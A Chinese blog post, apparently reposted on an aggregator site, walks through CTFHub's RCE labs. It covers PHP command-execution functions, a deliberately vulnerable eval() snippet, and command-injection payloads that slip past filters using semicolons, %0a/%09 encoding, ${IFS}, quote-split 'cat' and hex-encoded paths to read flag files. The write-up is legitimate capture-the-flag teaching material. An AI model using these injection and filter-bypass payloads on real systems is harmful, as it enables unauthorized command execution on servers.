CTFHub之RCE
2021/4/17 18:55:17
本文主要是介绍CTFHub之RCE,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
应用有时需要调用一些执行系统命令的函数,当服务器没有经过严格过滤用户的参数,这时候就可能导致命令执行,从而导致命令执行漏洞
常用命令执行函数
- system(): 该函数会把执行结果输出。
- passthru(): 该函数只调用命令,并把运行结果原样地直接输出没有返回值
- exec(): 不输出结果,返回执行结果地最后一行
- shell_exec(): 不输出结果,返回执行结果
eval执行
源代码就在脸上
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
将命令赋值给cmd然后执行,构造语句直接查看根目录/?cmd=system("ls /");
发现了flag
直接查看?cmd=system("cat /flag_24666");
命令注入
无过滤,构造语句尝试
看到一个php文件,cat后发现
过滤cat
仍然是先看一下当前目录的文件
这里用不了cat,可以尝试反斜杠、单引号连接,如:c/at
,c'a't
,然后就
过滤空格
这里仍然还能删掉空格直接查看目录
但下一步cat与文件之间的空格不可缺少
寻找代替空格的符号(这里试了试url编码和网上一些符号,只有<
的时候成功了,自己尝试尝试,可能是我哪里出了问题),最后
过滤目录分隔符
继续查看flag_is_here这个文件
既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 & ls /flag_is_here/flag_9012297169124.php
,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php
,然后
过滤运算符
只过滤了运算符,直接像上关一样用分号代替就好了
然后再
127.0.0.1;cat flag_221662467220077.php
执行后就发现
综合过滤练习
preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)
上面几关用到的过滤方法基本都考虑到了,而网上大佬们的解题姿势也是各不相同,我在这里
方法一:利用url编码补全语句,用TAB键补全文件名。
%0a代替换行;%09代替TAB键(因为flag被过滤了,所以我们通过TAB来补全flag_is_here);%5c代替\(用\来分隔开cat,因为cat也被过滤了)
参考博客
如果在框里面输的话,url编码也有被过滤掉,所以都在url中直接输入
查看目录?ip=127.0.0.1%0Als
查看flag_is_here文件
?ip=127.0.0.1%0Als%09*is_here#
获取flag_27487913228635.php
127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_27487913228635.php
发现flag
方法二:使用$(printf "路径")
代替路径,并对路径转换为16进制字符串
用${IFS}
代替空格,$(printf "路径")
代替路径,将路径转化成16进制字符串参考博客,优先参考博客
第一步查看目录基本相同,这里是第二步查看flag_is_here
文件
/?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
就等于
127.0.0.1;ls flag_is_here
然后获取flag_27487913228635.php
文件中的信息
基本上就这两个方法,剩下的都是大同小异,如:空格利用其他的一些字符代替,单引号绕过过滤cat等等等等。
这篇关于CTFHub之RCE的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-25TypeScript基础知识详解
- 2024-12-25安卓NDK 是什么?-icode9专业技术文章分享
- 2024-12-25caddy 可以定义日志到 文件吗?-icode9专业技术文章分享
- 2024-12-25wordfence如何设置密码规则?-icode9专业技术文章分享
- 2024-12-25有哪些方法可以实现 DLL 文件路径的管理?-icode9专业技术文章分享
- 2024-12-25错误信息 "At least one element in the source array could not be cast down to the destination array-icode9专业技术文章分享
- 2024-12-25'flutter' 不是内部或外部命令,也不是可运行的程序 或批处理文件。错误信息提示什么意思?-icode9专业技术文章分享
- 2024-12-25flutter项目 as提示Cannot resolve symbol 'embedding'提示什么意思?-icode9专业技术文章分享
- 2024-12-24怎么切换 Git 项目的远程仓库地址?-icode9专业技术文章分享
- 2024-12-24怎么更改 Git 远程仓库的名称?-icode9专业技术文章分享